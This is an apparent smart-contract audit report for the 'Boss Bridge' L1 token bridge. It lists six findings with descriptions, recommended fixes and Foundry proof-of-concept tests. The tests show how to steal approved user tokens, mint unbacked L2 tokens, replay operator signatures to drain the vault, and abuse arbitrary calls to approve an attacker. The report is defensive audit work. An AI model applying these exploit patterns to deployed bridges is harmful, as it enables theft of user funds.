BELLUM GALAXY

Table of contents

▶ Details

See table

About Barba

Solidity Developer, Security Researcher, Founder of Bellum Galaxy and Chainlink Advocate. With three months of programming experience I developed a Top Quality Project at Chainlink Constellation Hackathon. In my first competitive audit, I achieved a Top 5 position. I am a competitive person who daily fights for improvement. Driven by this way of thinking I founded Bellum Galaxy, a educacional community focused on science and technology to help people face life challeges, and grow personally and professionally.

Disclaimer

Solidity Developer, Security Researcher, Founder of Bellum Galaxy, and Chainlink Advocate. With three months of programming experience, I developed a Top Quality Project at Chainlink Constellation Hackathon. In my first competitive audit, I achieved a Top 5 position. I am a competitive person who daily fights for improvement. Driven by this way of thinking I founded Bellum Galaxy, an educational community focused on science and technology to help people face life challenges and grow personally and professionally.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Protocol Summary

The Boss Bridge is a bridging mechanism to move an ERC20 token (the "Boss Bridge Token" or "BBT") from L1 to an L2 the development team claims to be building. Because the L2 part of the bridge is under construction, it was not included in the reviewed codebase.

The bridge is intended to allow users to deposit tokens, which are to be held in a vault contract on L1. Successful deposits should trigger an event that an off-chain mechanism is in charge of detecting to mint the corresponding tokens on the L2 side of the bridge.

Withdrawals must be approved operators (or "signers"). Essentially they are expected to be one or more off-chain services where users request withdrawals, and that should verify requests before signing the data users must use to withdraw their tokens. It's worth highlighting that there's little-to-no on-chain mechanism to verify withdrawals, other than the operator's signature. So the Boss Bridge heavily relies on having robust, reliable and always available operators to approve withdrawals. Any rogue operator or compromised signing key may put at risk the entire protocol.

Audit Details

- **Project Name:**
  - BossBridge
- **Smart Contract Address:**
  - Not deployed
- **Audit Date:**
  - 03/03/2024 **The findings described in this document correspond the following commit hash:**

```
026da6e73fde0dd0a650d623d0411547e3188909
```

Scope

```
#-- src
|   #-- L1BossBridge.sol
|   #-- L1Token.sol
```

```
|   #-- L1Vault.sol
|   #-- TokenFactory.sol
```

Roles

- Bridge owner: can pause and unpause withdrawals in the `L1BossBridge` contract. Also, can add and remove operators. Rogue owners or compromised keys may put at risk all bridge funds.
- User: Accounts that hold BBT tokens and use the `L1BossBridge` contract to deposit and withdraw them.
- Operator: Accounts approved by the bridge owner that can sign withdrawal operations. Rogue operators or compromised keys may put at risk all bridge funds.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	1
Low	1
Info	0
Gas	0
Total	6

Findings

High Severity Vulnerabilities

Anyone can move users' tokens that approved the bridge

- **Description:**
  - The `depositTokensToL2` function allows anyone to call it with a `from` address of any account that has approved tokens to the bridge.
- **Impact:**
  - As a consequence, an attacker can move tokens out of any victim account whose token allowance to the bridge is greater than zero. This will move the tokens into the bridge vault, and assign them to the attacker's address in L2 (setting an attacker-controlled address in the `l2Recipient` parameter).
- **Proof of Concept:**

▶ Add the code below in the `L1BossBridge.t.sol` file

```
    function testCanMoveApprovedTokensOfOtherUsers() public {
        vm.prank(user);
        token.approve(address(tokenBridge), type(uint256).max);

        uint256 depositAmount = token.balanceOf(user);
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, attackerInL2, depositAmount);
        tokenBridge.depositTokensToL2(user, attackerInL2, depositAmount);

        assertEq(token.balanceOf(user), 0);
        assertEq(token.balanceOf(address(vault)), depositAmount);
        vm.stopPrank();
    }
```

- **Recommendation:**

▶ Adjust the code as follows

```diff
- function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount) external whenNotPaused {
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
-   token.transferFrom(from, address(vault), amount);
+   token.transferFrom(msg.sender, address(vault), amount);

    // Our off-chain service picks up this event and mints the corresponding tokens on L2
-   emit Deposit(from, l2Recipient, amount);
+   emit Deposit(msg.sender, l2Recipient, amount);
}
```

Anyone might mint unbacked tokens

- **Description:**
  - As explained in the H-1 issue, the `depositTokensToL2` function allows the caller to specify the `from` address, from which tokens are taken.
- **Impact:**
  - Because the vault grants infinite approval to the bridge already (as can be seen in the contract's constructor), it's possible for an attacker to call the `depositTokensToL2` function and transfer

tokens from the vault to the vault itself. This would allow the attacker to trigger the `Deposit` event any number of times, presumably causing the minting of unbacked tokens in L2.

- **Proof of Concept:**

  ▶ Add the code below in the `L1TokenBridge.t.sol` file

```
function testCanTransferFromVaultToVault() public {
    vm.startPrank(attacker);

    uint256 vaultBalance = 500 ether;
    deal(address(token), address(vault), vaultBalance);

    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), address(vault), vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault),
vaultBalance);

    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), address(vault), vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault),
vaultBalance);

    vm.stopPrank();
}
```

- **Recommendation:**
  - As suggested in the previous finding, consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

All funds can be stolen by replaying withdrawals

- **Description:**
  - Users who want to withdraw tokens from the bridge can call the `sendToL1` function, or the wrapper `withdrawTokensToL1` function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators.
- **Impact:**
  - However, the signatures do not include any kind of replay-protection mechanisn (e.g., nonces). Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.
- **Proof of Concept:**

  ▶ Add the code below in the `L1TokenBridge.t.sol` file

```
function testCanReplayWithdrawals() public {
    uint256 vaultInitialBalance = 1000e18;
    uint256 attackerInitialBalance = 100e18;
    deal(address(token), address(vault), vaultInitialBalance);
    deal(address(token), address(attacker), attackerInitialBalance);

    vm.startPrank(attacker);
    token.approve(address(tokenBridge), type(uint256).max);
    tokenBridge.depositTokensToL2(attacker, attackerInL2,
attackerInitialBalance);

    (uint8 v, bytes32 r, bytes32 s) =
        _signMessage(_getTokenWithdrawalMessage(attacker,
attackerInitialBalance), operator.key);

    while (token.balanceOf(address(vault)) > 0) {
        tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance, v,
r, s);
    }
    assertEq(token.balanceOf(address(attacker)), attackerInitialBalance +
vaultInitialBalance);
    assertEq(token.balanceOf(address(vault)), 0);
}
```

- **Recommendation:**
    - Consider redesigning the withdrawal mechanism so that it includes replay protection.

All funds can be stolen by calling the vault from the bridge

- **Description:**
    - The `L1BossBridge` contract includes the `sendToL1` function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the `L1Vault` contract.
- **Impact:**
    - The `L1BossBridge` contract owns the `L1Vault` contract. Therefore, an attacker could submit a call that targets the vault and executes is `approveTo` function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.
- It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful

deposit in the L1 part of the bridge". As the next PoC shows, such validation is not enough to prevent the attack.

- **Proof of Concept:**

▶ Add the following code in the `L1BossBridge.t.sol` file

```
function testCanCallVaultApproveFromBridgeAndDrainVault() public {
    uint256 vaultInitialBalance = 1000e18;
    deal(address(token), address(vault), vaultInitialBalance);

    // An attacker deposits tokens to L2. We do this under the assumption
that the
    // bridge operator needs to see a valid deposit tx to then allow us to
request a withdrawal.
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(attacker), address(0), 0);
    tokenBridge.depositTokensToL2(attacker, address(0), 0);

    // Under the assumption that the bridge operator doesn't validate bytes
being signed
    bytes memory message = abi.encode(
        address(vault), // target
        0, // value
        abi.encodeCall(L1Vault.approveTo, (address(attacker),
type(uint256).max)) // data
    );
    (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);

    tokenBridge.sendToL1(v, r, s, message);
    assertEq(token.allowance(address(vault), attacker), type(uint256).max);
    token.transferFrom(address(vault), attacker,
token.balanceOf(address(vault)));
}
```

- **Recommendation:**
  - Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the `L1Vault` contract.

Medium Severity Vulnerabilities

Withdrawals are prone to unbounded gas consumption due to return bombs

- **Description:**
  - During withdrawals, the L1 part of the bridge executes a low-level call to an arbitrary target passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.
- **Impact:**

- In particular, a malicious target may drop a return bomb to the caller. This would be done by returning an large amount of returndata in the call, which Solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spent more ETH than necessary to execute the call.

- **Proof of Concept:**
- **Recommendation:**
  - If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as this one.

Low

Lack of event emission during withdrawals

- **Description:**
  - Neither the `sendToL1` function nor the `withdrawTokensToL1` function emit an event when a withdrawal operation is successfully executed.
- **Impact:**
  - This prevents off-chain monitoring mechanisms to monitor withdrawals and raise alerts on suspicious scenarios.
- **Proof of Concept:**
- **Recommendation:**
  - Modify the `sendToL1` function to include a new event that is always emitted upon completing withdrawals.